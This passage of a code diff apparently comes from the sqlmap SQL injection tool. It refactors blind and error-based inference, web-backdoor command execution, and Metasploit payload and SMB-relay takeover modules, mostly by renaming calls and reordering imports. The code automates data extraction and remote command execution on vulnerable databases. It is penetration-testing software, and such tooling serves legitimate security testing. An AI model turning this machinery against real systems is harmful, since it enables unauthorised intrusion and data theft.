+    timeBasedCompare = getTechnique() in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)
 
     output = hashDBRetrieve(expression, checkConf=True)
 
@@ -342,6 +353,7 @@ def _goUnion(expression, unpack=True, dump=False):
 
     return output
 
+@lockedmethod
 @stackedmethod
 def getValue(expression, blind=True, union=True, error=True, time=True, fromUser=False, expected=None, batch=False, unpack=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None, dump=False, suppressOutput=None, expectingNone=False, safeCharEncode=True):
     """
@@ -394,7 +406,7 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser
 
             if not conf.forceDns:
                 if union and isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
-                    kb.technique = PAYLOAD.TECHNIQUE.UNION
+                    setTechnique(PAYLOAD.TECHNIQUE.UNION)
                     kb.forcePartialUnion = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector[8]
                     fallback = not expected and kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.ORIGINAL and not kb.forcePartialUnion
 
@@ -426,7 +438,7 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser
                             singleTimeWarnMessage(warnMsg)
 
                 if error and any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) and not found:
-                    kb.technique = PAYLOAD.TECHNIQUE.ERROR if isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) else PAYLOAD.TECHNIQUE.QUERY
+                    setTechnique(PAYLOAD.TECHNIQUE.ERROR if isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) else PAYLOAD.TECHNIQUE.QUERY)
                     value = errorUse(forgeCaseExpression if expected == EXPECTED.BOOL else query, dump)
                     count += 1
                     found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE
@@ -439,7 +451,7 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser
                     singleTimeWarnMessage(warnMsg)
 
             if blind and isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN) and not found:
-                kb.technique = PAYLOAD.TECHNIQUE.BOOLEAN
+                setTechnique(PAYLOAD.TECHNIQUE.BOOLEAN)
 
                 if expected == EXPECTED.BOOL:
                     value = _goBooleanProxy(booleanExpression)
@@ -454,9 +466,9 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser
                 kb.responseTimeMode = "%s|%s" % (match.group(1), match.group(2)) if match else None
 
                 if isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME):
-                    kb.technique = PAYLOAD.TECHNIQUE.TIME
+                    setTechnique(PAYLOAD.TECHNIQUE.TIME)
                 else:
-                    kb.technique = PAYLOAD.TECHNIQUE.STACKED
+                    setTechnique(PAYLOAD.TECHNIQUE.STACKED)
 
                 if expected == EXPECTED.BOOL:
                     value = _goBooleanProxy(booleanExpression)
@@ -498,12 +510,12 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser
 
 def goStacked(expression, silent=False):
     if PAYLOAD.TECHNIQUE.STACKED in kb.injection.data:
-        kb.technique = PAYLOAD.TECHNIQUE.STACKED
+        setTechnique(PAYLOAD.TECHNIQUE.STACKED)
     else:
         for technique in getPublicTypeMembers(PAYLOAD.TECHNIQUE, True):
             _ = getTechniqueData(technique)
             if _ and "stacked" in _["title"].lower():
-                kb.technique = technique
+                setTechnique(technique)
                 break
 
     expression = cleanQuery(expression)

lib/request/rangehandler.py

@@ -24,5 +24,6 @@ class HTTPRangeHandler(_urllib.request.BaseHandler):
 
     def http_error_416(self, req, fp, code, msg, hdrs):
         # HTTP's Range Not Satisfiable error
-        errMsg = "Invalid range"
+        errMsg = "there was a problem while connecting "
+        errMsg += "target ('406 - Range Not Satisfiable')"
         raise SqlmapConnectionException(errMsg)

lib/request/redirecthandler.py

@@ -9,21 +9,21 @@ import io
 import time
 import types
 
-from lib.core.data import conf
-from lib.core.data import kb
-from lib.core.data import logger
 from lib.core.common import getHostHeader
 from lib.core.common import getSafeExString
 from lib.core.common import logHTTPTraffic
 from lib.core.common import readInput
 from lib.core.convert import getUnicode
+from lib.core.data import conf
+from lib.core.data import kb
+from lib.core.data import logger
 from lib.core.enums import CUSTOM_LOGGING
 from lib.core.enums import HTTP_HEADER
 from lib.core.enums import HTTPMETHOD
 from lib.core.enums import REDIRECTION
 from lib.core.exception import SqlmapConnectionException
 from lib.core.settings import DEFAULT_COOKIE_DELIMITER
-from lib.core.settings import MAX_CONNECTION_CHUNK_SIZE
+from lib.core.settings import MAX_CONNECTION_READ_SIZE
 from lib.core.settings import MAX_CONNECTION_TOTAL_SIZE
 from lib.core.settings import MAX_SINGLE_URL_REDIRECTIONS
 from lib.core.settings import MAX_TOTAL_REDIRECTIONS
@@ -101,7 +101,7 @@ class SmartRedirectHandler(_urllib.request.HTTPRedirectHandler):
 
         redirectMsg += logHeaders
         if content:
-            redirectMsg += "\r\n\r\n%s" % getUnicode(content[:MAX_CONNECTION_CHUNK_SIZE])
+            redirectMsg += "\r\n\r\n%s" % getUnicode(content[:MAX_CONNECTION_READ_SIZE])
 
         logHTTPTraffic(threadData.lastRequestMsg, redirectMsg, start, time.time())
         logger.log(CUSTOM_LOGGING.TRAFFIC_IN, redirectMsg)

lib/takeover/abstraction.py

@@ -9,14 +9,14 @@ from __future__ import print_function
 
 import sys
 
-from extra.safe2bin.safe2bin import safechardecode
-from lib.core.common import dataToStdout
 from lib.core.common import Backend
+from lib.core.common import dataToStdout
 from lib.core.common import getSQLSnippet
 from lib.core.common import isStackingAvailable
 from lib.core.common import readInput
 from lib.core.convert import getUnicode
 from lib.core.data import conf
+from lib.core.data import kb
 from lib.core.data import logger
 from lib.core.enums import AUTOCOMPLETE_TYPE
 from lib.core.enums import DBMS
@@ -28,6 +28,7 @@ from lib.request import inject
 from lib.takeover.udf import UDF
 from lib.takeover.web import Web
 from lib.takeover.xp_cmdshell import XP_cmdshell
+from lib.utils.safe2bin import safechardecode
 from thirdparty.six.moves import input as _input
 
 class Abstraction(Web, UDF, XP_cmdshell):
@@ -48,7 +49,7 @@ class Abstraction(Web, UDF, XP_cmdshell):
         if Backend.isDbms(DBMS.PGSQL) and self.checkCopyExec():
             self.copyExecCmd(cmd)
 
-        elif self.webBackdoorUrl and not isStackingAvailable():
+        elif self.webBackdoorUrl and (not isStackingAvailable() or kb.udfFail):
             self.webBackdoorRunCmd(cmd)
 
         elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
@@ -67,7 +68,7 @@ class Abstraction(Web, UDF, XP_cmdshell):
         if Backend.isDbms(DBMS.PGSQL) and self.checkCopyExec():
             retVal = self.copyExecCmd(cmd)
 
-        elif self.webBackdoorUrl and not isStackingAvailable():
+        elif self.webBackdoorUrl and (not isStackingAvailable() or kb.udfFail):
             retVal = self.webBackdoorRunCmd(cmd)
 
         elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
@@ -104,7 +105,7 @@ class Abstraction(Web, UDF, XP_cmdshell):
             self.execCmd(cmd)
 
     def shell(self):
-        if self.webBackdoorUrl and not isStackingAvailable():
+        if self.webBackdoorUrl and (not isStackingAvailable() or kb.udfFail):
             infoMsg = "calling OS shell. To quit type "
             infoMsg += "'x' or 'q' and press ENTER"
             logger.info(infoMsg)

lib/takeover/metasploit.py

@@ -23,6 +23,7 @@ from lib.core.common import dataToStdout
 from lib.core.common import Backend
 from lib.core.common import getLocalIP
 from lib.core.common import getRemoteIP
+from lib.core.common import isDigit
 from lib.core.common import normalizePath
 from lib.core.common import ntToPosixSlashes
 from lib.core.common import pollProcess
@@ -68,29 +69,11 @@ class Metasploit(object):
         self.payloadConnStr = None
         self.localIP = getLocalIP()
         self.remoteIP = getRemoteIP() or conf.hostname
-        self._msfCli = normalizePath(os.path.join(conf.msfPath, "msfcli"))
-        self._msfConsole = normalizePath(os.path.join(conf.msfPath, "msfconsole"))
-        self._msfEncode = normalizePath(os.path.join(conf.msfPath, "msfencode"))
-        self._msfPayload = normalizePath(os.path.join(conf.msfPath, "msfpayload"))
-        self._msfVenom = normalizePath(os.path.join(conf.msfPath, "msfvenom"))
-
-        if IS_WIN:
-            _ = conf.msfPath
-            while _:
-                if os.path.exists(os.path.join(_, "scripts")):
-                    _ = os.path.join(_, "scripts", "setenv.bat")
-                    break
-                else:
-                    old = _
-                    _ = normalizePath(os.path.join(_, ".."))
-                    if _ == old:
-                        break
-
-            self._msfCli = "%s & ruby %s" % (_, self._msfCli)
-            self._msfConsole = "%s & ruby %s" % (_, self._msfConsole)
-            self._msfEncode = "ruby %s" % self._msfEncode
-            self._msfPayload = "%s & ruby %s" % (_, self._msfPayload)
-            self._msfVenom = "%s & ruby %s" % (_, self._msfVenom)
+        self._msfCli = normalizePath(os.path.join(conf.msfPath, "msfcli%s" % (".bat" if IS_WIN else "")))
+        self._msfConsole = normalizePath(os.path.join(conf.msfPath, "msfconsole%s" % (".bat" if IS_WIN else "")))
+        self._msfEncode = normalizePath(os.path.join(conf.msfPath, "msfencode%s" % (".bat" if IS_WIN else "")))
+        self._msfPayload = normalizePath(os.path.join(conf.msfPath, "msfpayload%s" % (".bat" if IS_WIN else "")))
+        self._msfVenom = normalizePath(os.path.join(conf.msfPath, "msfvenom%s" % (".bat" if IS_WIN else "")))
 
         self._msfPayloadsList = {
             "windows": {
@@ -172,7 +155,7 @@ class Metasploit(object):
 
         choice = readInput(message, default="%d" % default)
 
-        if not choice or not choice.isdigit() or int(choice) > maxValue or int(choice) < 1:
+        if not choice or not isDigit(choice) or int(choice) > maxValue or int(choice) < 1:
             choice = default
 
         choice = int(choice)
@@ -245,24 +228,21 @@ class Metasploit(object):
 
                     if not choice or choice == "2":
                         _payloadStr = "windows/meterpreter"
-
                         break
 
                     elif choice == "3":
                         _payloadStr = "windows/shell"
-
                         break
 
                     elif choice == "1":
                         if Backend.isDbms(DBMS.PGSQL):
                             logger.warn("beware that the VNC injection might not work")
-
                             break
 
                         elif Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")):
                             break
 
-                    elif not choice.isdigit():
+                    elif not isDigit(choice):
                         logger.warn("invalid value, only digits are allowed")
 
                     elif int(choice) < 1 or int(choice) > 2:
@@ -598,7 +578,7 @@ class Metasploit(object):
 
             except select.error as ex:
                 # Reference: https://github.com/andymccurdy/redis-py/pull/743/commits/2b59b25bb08ea09e98aede1b1f23a270fc085a9f
-                if (ex[0] if six.PY2 else ex.errno) == errno.EINTR:
+                if ex.args[0] == errno.EINTR:
                     continue
                 else:
                     return proc.returncode
@@ -652,7 +632,7 @@ class Metasploit(object):
             self.shellcodeexecLocal = os.path.join(self.shellcodeexecLocal, "windows", "shellcodeexec.x%s.exe_" % "32")
             content = decloak(self.shellcodeexecLocal)
             if SHELLCODEEXEC_RANDOM_STRING_MARKER in content:
-                content = content.replace(SHELLCODEEXEC_RANDOM_STRING_MARKER, randomStr(len(SHELLCODEEXEC_RANDOM_STRING_MARKER)))
+                content = content.replace(SHELLCODEEXEC_RANDOM_STRING_MARKER, getBytes(randomStr(len(SHELLCODEEXEC_RANDOM_STRING_MARKER))))
                 _ = cloak(data=content)
                 handle, self.shellcodeexecLocal = tempfile.mkstemp(suffix="%s.exe_" % "32")
                 os.close(handle)
@@ -713,9 +693,9 @@ class Metasploit(object):
         self._runMsfCliSmbrelay()
 
         if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
-            self.uncPath = "\\\\\\\\%s\\\\%s" % (self.lhostStr, self._randFile)
+            self.uncPath = r"\\\\%s\\%s" % (self.lhostStr, self._randFile)
         else:
-            self.uncPath = "\\\\%s\\%s" % (self.lhostStr, self._randFile)
+            self.uncPath = r"\\%s\%s" % (self.lhostStr, self._randFile)
 
         debugMsg = "Metasploit Framework console exited with return "
         debugMsg += "code %s" % self._controlMsfCmd(self._msfCliProc, self.uncPathRequest)

lib/takeover/udf.py

@@ -8,9 +8,10 @@ See the file 'LICENSE' for copying permission
 import os
 
 from lib.core.agent import agent
+from lib.core.common import Backend
 from lib.core.common import checkFile
 from lib.core.common import dataToStdout
-from lib.core.common import Backend
+from lib.core.common import isDigit
 from lib.core.common import isStackingAvailable
 from lib.core.common import readInput
 from lib.core.common import unArrayizeValue
@@ -18,8 +19,8 @@ from lib.core.compat import xrange
 from lib.core.data import conf
 from lib.core.data import logger
 from lib.core.data import queries
-from lib.core.enums import DBMS
 from lib.core.enums import CHARSET_TYPE
+from lib.core.enums import DBMS
 from lib.core.enums import EXPECTED
 from lib.core.enums import OS
 from lib.core.exception import SqlmapFilePathException
@@ -109,7 +110,7 @@ class UDF(object):
         return output
 
     def udfCheckNeeded(self):
-        if (not conf.fileRead or (conf.fileRead and not Backend.isDbms(DBMS.PGSQL))) and "sys_fileread" in self.sysUdfs:
+        if (not any((conf.fileRead, conf.commonFiles)) or (any((conf.fileRead, conf.commonFiles)) and not Backend.isDbms(DBMS.PGSQL))) and "sys_fileread" in self.sysUdfs:
             self.sysUdfs.pop("sys_fileread")
 
         if not conf.osPwn:
@@ -339,11 +340,9 @@ class UDF(object):
 
                 if choice == 'Q':
                     break
-                elif hasattr(choice, "isdigit") and choice.isdigit() and int(choice) > 0 and int(choice) <= len(udfList):
+                elif isDigit(choice) and int(choice) > 0 and int(choice) <= len(udfList):
                     choice = int(choice)
                     break
-                elif isinstance(choice, int) and choice > 0 and choice <= len(udfList):
-                    break
                 else:
                     warnMsg = "invalid value, only digits >= 1 and "
                     warnMsg += "<= %d are allowed" % len(udfList)

lib/takeover/web.py

@@ -20,10 +20,13 @@ from lib.core.common import getAutoDirectories
 from lib.core.common import getManualDirectories
 from lib.core.common import getPublicTypeMembers
 from lib.core.common import getSQLSnippet
-from lib.core.common import ntToPosixSlashes
+from lib.core.common import getTechnique
+from lib.core.common import getTechniqueData
+from lib.core.common import isDigit
 from lib.core.common import isTechniqueAvailable
 from lib.core.common import isWindowsDriveLetterPath
 from lib.core.common import normalizePath
+from lib.core.common import ntToPosixSlashes
 from lib.core.common import openFile
 from lib.core.common import parseFilePaths
 from lib.core.common import posixToNtSlashes
@@ -147,8 +150,8 @@ class Web(object):
         uplQuery = getUnicode(fileContent).replace(SHELL_WRITABLE_DIR_TAG, directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory)
         query = ""
 
-        if isTechniqueAvailable(kb.technique):
-            where = kb.injection.data[kb.technique].where
+        if isTechniqueAvailable(getTechnique()):
+            where = getTechniqueData().where
 
             if where == PAYLOAD.WHERE.NEGATIVE:
                 randInt = randomInt()
@@ -198,7 +201,7 @@ class Web(object):
         while True:
             choice = readInput(message, default=str(default))
 
-            if not choice.isdigit():
+            if not isDigit(choice):
                 logger.warn("invalid value, only digits are allowed")
 
             elif int(choice) < 1 or int(choice) > len(choices):

lib/takeover/xp_cmdshell.py

@@ -15,8 +15,8 @@ from lib.core.common import isListLike
 from lib.core.common import isNoneValue
 from lib.core.common import isNumPosStrValue
 from lib.core.common import isTechniqueAvailable
-from lib.core.common import pushValue
 from lib.core.common import popValue
+from lib.core.common import pushValue
 from lib.core.common import randomStr
 from lib.core.common import readInput
 from lib.core.common import wasLastResponseDelayed

lib/techniques/blind/inference.py

@@ -5,11 +5,11 @@ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
+from __future__ import division
+
 import re
-import threading
 import time
 
-from extra.safe2bin.safe2bin import safecharencode
 from lib.core.agent import agent
 from lib.core.common import Backend
 from lib.core.common import calculateDeltaSeconds
@@ -19,8 +19,10 @@ from lib.core.common import decodeIntToUnicode
 from lib.core.common import filterControlChars
 from lib.core.common import getCharset
 from lib.core.common import getCounter
-from lib.core.common import goGoodSamaritan
 from lib.core.common import getPartRun
+from lib.core.common import getTechnique
+from lib.core.common import getTechniqueData
+from lib.core.common import goGoodSamaritan
 from lib.core.common import hashDBRetrieve
 from lib.core.common import hashDBWrite
 from lib.core.common import incrementCounter
@@ -37,11 +39,11 @@ from lib.core.enums import PAYLOAD
 from lib.core.exception import SqlmapThreadException
 from lib.core.settings import CHAR_INFERENCE_MARK
 from lib.core.settings import INFERENCE_BLANK_BREAK
-from lib.core.settings import INFERENCE_UNKNOWN_CHAR
-from lib.core.settings import INFERENCE_GREATER_CHAR
 from lib.core.settings import INFERENCE_EQUALS_CHAR
+from lib.core.settings import INFERENCE_GREATER_CHAR
 from lib.core.settings import INFERENCE_MARKER
 from lib.core.settings import INFERENCE_NOT_EQUALS_CHAR
+from lib.core.settings import INFERENCE_UNKNOWN_CHAR
 from lib.core.settings import MAX_BISECTION_LENGTH
 from lib.core.settings import MAX_REVALIDATION_STEPS
 from lib.core.settings import NULL
@@ -55,6 +57,7 @@ from lib.core.threads import runThreads
 from lib.core.unescaper import unescaper
 from lib.request.connect import Connect as Request
 from lib.utils.progress import ProgressBar
+from lib.utils.safe2bin import safecharencode
 from lib.utils.xrange import xrange
 
 def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None, dump=False):
@@ -78,7 +81,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
         asciiTbl = getCharset(charsetType)
 
     threadData = getCurrentThreadData()
-    timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED))
+    timeBasedCompare = (getTechnique() in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED))
     retVal = hashDBRetrieve(expression, checkConf=True)
 
     if retVal:
@@ -158,41 +161,39 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
             length = None
 
         showEta = conf.eta and isinstance(length, int)
-        numThreads = min(conf.threads or 0, length or 0) or 1
+
+        if kb.bruteMode:
+            numThreads = 1
+        else:
+            numThreads = min(conf.threads or 0, length or 0) or 1
 
         if showEta:
             progress = ProgressBar(maxValue=length)
 
-        if timeBasedCompare and conf.threads > 1 and not conf.forceThreads:
-            warnMsg = "multi-threading is considered unsafe in time-based data retrieval. Going to switch it off automatically"
-            singleTimeWarnMessage(warnMsg)
-
         if numThreads > 1:
-            if not timeBasedCompare or conf.forceThreads:
+            if not timeBasedCompare or kb.forceThreads:
                 debugMsg = "starting %d thread%s" % (numThreads, ("s" if numThreads > 1 else ""))
                 logger.debug(debugMsg)
             else:
                 numThreads = 1
 
-        if conf.threads == 1 and not timeBasedCompare and not conf.predictOutput:
+        if conf.threads == 1 and not any((timeBasedCompare, conf.predictOutput)):
             warnMsg = "running in a single-thread mode. Please consider "
             warnMsg += "usage of option '--threads' for faster data retrieval"
             singleTimeWarnMessage(warnMsg)
 
-        if conf.verbose in (1, 2) and not showEta and not conf.api:
-            if isinstance(length, int) and conf.threads > 1:
+        if conf.verbose in (1, 2) and not any((showEta, conf.api, kb.bruteMode)):
+            if isinstance(length, int) and numThreads > 1:
                 dataToStdout("[%s] [INFO] retrieved: %s" % (time.strftime("%X"), "_" * min(length, conf.progressWidth)))
                 dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X"))
             else:
                 dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X"))
 
-        hintlock = threading.Lock()
-
         def tryHint(idx):
-            with hintlock:
+            with kb.locks.hint:
                 hintValue = kb.hintValue
 
-            if payload is not None and hintValue is not None and len(hintValue) >= idx:
+            if payload is not None and len(hintValue or "") > 0 and len(hintValue) >= idx:
                 if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.MAXDB, DBMS.DB2):
                     posValue = hintValue[idx - 1]
                 else:
@@ -203,13 +204,13 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
                 forgedPayload = agent.extractPayload(payload)
                 forgedPayload = safeStringFormat(forgedPayload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, posValue)).replace(markingValue, unescapedCharValue)
                 result = Request.queryPage(agent.replacePayload(payload, forgedPayload), timeBasedCompare=timeBasedCompare, raise404=False)
-                incrementCounter(kb.technique)
+                incrementCounter(getTechnique())
 
                 if result:
                     return hintValue[idx - 1]
 
-            with hintlock:
-                kb.hintValue = None
+            with kb.locks.hint:
+                kb.hintValue = ""
 
             return None
 
@@ -230,13 +231,13 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
 
             result = not Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
 
-            if result and timeBasedCompare and kb.injection.data[kb.technique].trueCode:
-                result = threadData.lastCode == kb.injection.data[kb.technique].trueCode
+            if result and timeBasedCompare and getTechniqueData().trueCode:
+                result = threadData.lastCode == getTechniqueData().trueCode
                 if not result:
-                    warnMsg = "detected HTTP code '%s' in validation phase is differing from expected '%s'" % (threadData.lastCode, kb.injection.data[kb.technique].trueCode)
+                    warnMsg = "detected HTTP code '%s' in validation phase is differing from expected '%s'" % (threadData.lastCode, getTechniqueData().trueCode)
                     singleTimeWarnMessage(warnMsg)
 
-            incrementCounter(kb.technique)
+            incrementCounter(getTechnique())
 
             return result
 
@@ -271,7 +272,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
             elif len(charTbl) == 1:
                 forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, charTbl[0]))
                 result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
-                incrementCounter(kb.technique)
+                incrementCounter(getTechnique())
 
                 if result:
                     return decodeIntToUnicode(charTbl[0])
@@ -340,10 +341,10 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
                             kb.responseTimePayload = None
 
                     result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
-                    incrementCounter(kb.technique)
+                    incrementCounter(getTechnique())
 
-                    if not timeBasedCompare:
-                        unexpectedCode |= threadData.lastCode not in (kb.injection.data[kb.technique].falseCode, kb.injection.data[kb.technique].trueCode)
+                    if not timeBasedCompare and getTechniqueData() is not None:
+                        unexpectedCode |= threadData.lastCode not in (getTechniqueData().falseCode, getTechniqueData().trueCode)
                         if unexpectedCode:
                             warnMsg = "unexpected HTTP code '%s' detected. Will use (extra) validation step in similar cases" % threadData.lastCode
                             singleTimeWarnMessage(warnMsg)
@@ -441,7 +442,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
 
                     forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, "&%d%s" % (mask, INFERENCE_GREATER_CHAR)), (expressionUnescaped, idx, 0))
                     result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
-                    incrementCounter(kb.technique)
+                    incrementCounter(getTechnique())
 
                     if result:
                         candidates = [_ for _ in candidates if _ & mask > 0]
@@ -453,13 +454,13 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
                 if candidates:
                     forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, candidates[0]))
                     result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
-                    incrementCounter(kb.technique)
+                    incrementCounter(getTechnique())
 
                     if result:
                         return decodeIntToUnicode(candidates[0])
 
         # Go multi-threading (--threads > 1)
-        if conf.threads > 1 and isinstance(length, int) and length > 1:
+        if numThreads > 1 and isinstance(length, int) and length > 1:
             threadData.shared.value = [None] * length
             threadData.shared.index = [firstChar]    # As list for python nested function scoping
             threadData.shared.start = firstChar
@@ -517,7 +518,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
                                 if (endCharIndex - startCharIndex == conf.progressWidth) and (endCharIndex < length - 1):
                                     output = output[:-2] + ".."
 
-                                if conf.verbose in (1, 2) and not showEta and not conf.api:
+                                if conf.verbose in (1, 2) and not any((showEta, conf.api, kb.bruteMode)):
                                     _ = count - firstChar
                                     output += '_' * (min(length, conf.progressWidth) - len(output))
                                     status = ' %d/%d (%d%%)' % (_, length, int(100.0 * _ / length))
@@ -547,7 +548,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
                 finalValue = "".join(value)
                 infoMsg = "\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(finalValue))
 
-            if conf.verbose in (1, 2) and not showEta and infoMsg and not conf.api:
+            if conf.verbose in (1, 2) and infoMsg and not any((showEta, conf.api, kb.bruteMode)):
                 dataToStdout(infoMsg)
 
         # No multi-threading (--threads = 1)
@@ -571,12 +572,12 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
                         # One-shot query containing equals commonValue
                         testValue = unescaper.escape("'%s'" % commonValue) if "'" not in commonValue else unescaper.escape("%s" % commonValue, quote=False)
 
-                        query = kb.injection.data[kb.technique].vector
+                        query = getTechniqueData().vector
                         query = agent.prefixQuery(query.replace(INFERENCE_MARKER, "(%s)%s%s" % (expressionUnescaped, INFERENCE_EQUALS_CHAR, testValue)))
                         query = agent.suffixQuery(query)
 
                         result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False)
-                        incrementCounter(kb.technique)
+                        incrementCounter(getTechnique())
 
                         # Did we have luck?
                         if result:
@@ -595,12 +596,12 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
                         subquery = queries[Backend.getIdentifiedDbms()].substring.query % (expressionUnescaped, 1, len(commonPattern))
                         testValue = unescaper.escape("'%s'" % commonPattern) if "'" not in commonPattern else unescaper.escape("%s" % commonPattern, quote=False)
 
-                        query = kb.injection.data[kb.technique].vector
+                        query = getTechniqueData().vector
                         query = agent.prefixQuery(query.replace(INFERENCE_MARKER, "(%s)=%s" % (subquery, testValue)))
                         query = agent.suffixQuery(query)
 
                         result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False)
-                        incrementCounter(kb.technique)
+                        incrementCounter(getTechnique())
 
                         # Did we have luck?
                         if result:
@@ -632,7 +633,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
 
                 if showEta:
                     progress.progress(index)
-                elif conf.verbose in (1, 2) or conf.api:
+                elif (conf.verbose in (1, 2) and not kb.bruteMode) or conf.api:
                     dataToStdout(filterControlChars(val))
 
                 # some DBMSes (e.g. Firebird, DB2, etc.) have issues with trailing spaces
@@ -661,11 +662,11 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
         elif partialValue:
             hashDBWrite(expression, "%s%s" % (PARTIAL_VALUE_MARKER if not conf.hexConvert else PARTIAL_HEX_VALUE_MARKER, partialValue))
 
-    if conf.hexConvert and not abortedFlag and not conf.api:
+    if conf.hexConvert and not any((abortedFlag, conf.api, kb.bruteMode)):
         infoMsg = "\r[%s] [INFO] retrieved: %s  %s\n" % (time.strftime("%X"), filterControlChars(finalValue), " " * retrievedLength)
         dataToStdout(infoMsg)
     else:
-        if conf.verbose in (1, 2) and not showEta and not conf.api:
+        if conf.verbose in (1, 2) and not any((showEta, conf.api, kb.bruteMode)):
             dataToStdout("\n")
 
         if (conf.verbose in (1, 2) and showEta) or conf.verbose >= 3:
@@ -680,7 +681,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
 
     _ = finalValue or partialValue
 
-    return getCounter(kb.technique), safecharencode(_) if kb.safeCharEncode else _
+    return getCounter(getTechnique()), safecharencode(_) if kb.safeCharEncode else _
 
 def queryOutputLength(expression, payload):
     """

lib/techniques/dns/use.py

@@ -8,7 +8,6 @@ See the file 'LICENSE' for copying permission
 import re
 import time
 
-from extra.safe2bin.safe2bin import safecharencode
 from lib.core.agent import agent
 from lib.core.common import Backend
 from lib.core.common import calculateDeltaSeconds
@@ -33,6 +32,7 @@ from lib.core.settings import MAX_DNS_LABEL
 from lib.core.settings import PARTIAL_VALUE_MARKER
 from lib.core.unescaper import unescaper
 from lib.request.connect import Connect as Request
+from lib.utils.safe2bin import safecharencode
 
 def dnsUse(payload, expression):
     """

lib/techniques/error/use.py

@@ -10,7 +10,6 @@ from __future__ import print_function
 import re
 import time
 
-from extra.safe2bin.safe2bin import safecharencode
 from lib.core.agent import agent
 from lib.core.bigarray import BigArray
 from lib.core.common import Backend
@@ -21,6 +20,8 @@ from lib.core.common import extractRegexResult
 from lib.core.common import firstNotNone
 from lib.core.common import getConsoleWidth
 from lib.core.common import getPartRun
+from lib.core.common import getTechnique
+from lib.core.common import getTechniqueData
 from lib.core.common import hashDBRetrieve
 from lib.core.common import hashDBWrite
 from lib.core.common import incrementCounter
@@ -45,8 +46,8 @@ from lib.core.enums import HASHDB_KEYS
 from lib.core.enums import HTTP_HEADER
 from lib.core.exception import SqlmapDataException
 from lib.core.settings import CHECK_ZERO_COLUMNS_THRESHOLD
-from lib.core.settings import MIN_ERROR_CHUNK_LENGTH
 from lib.core.settings import MAX_ERROR_CHUNK_LENGTH
+from lib.core.settings import MIN_ERROR_CHUNK_LENGTH
 from lib.core.settings import NULL
 from lib.core.settings import PARTIAL_VALUE_MARKER
 from lib.core.settings import ROTATING_CHARS
@@ -58,6 +59,7 @@ from lib.core.threads import runThreads
 from lib.core.unescaper import unescaper
 from lib.request.connect import Connect as Request
 from lib.utils.progress import ProgressBar
+from lib.utils.safe2bin import safecharencode
 from thirdparty import six
 
 def _oneShotErrorUse(expression, field=None, chunkTest=False):
@@ -74,7 +76,7 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False):
 
     threadData.resumed = retVal is not None and not partialValue
 
-    if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)) and kb.errorChunkLength is None and not chunkTest and not kb.testMode:
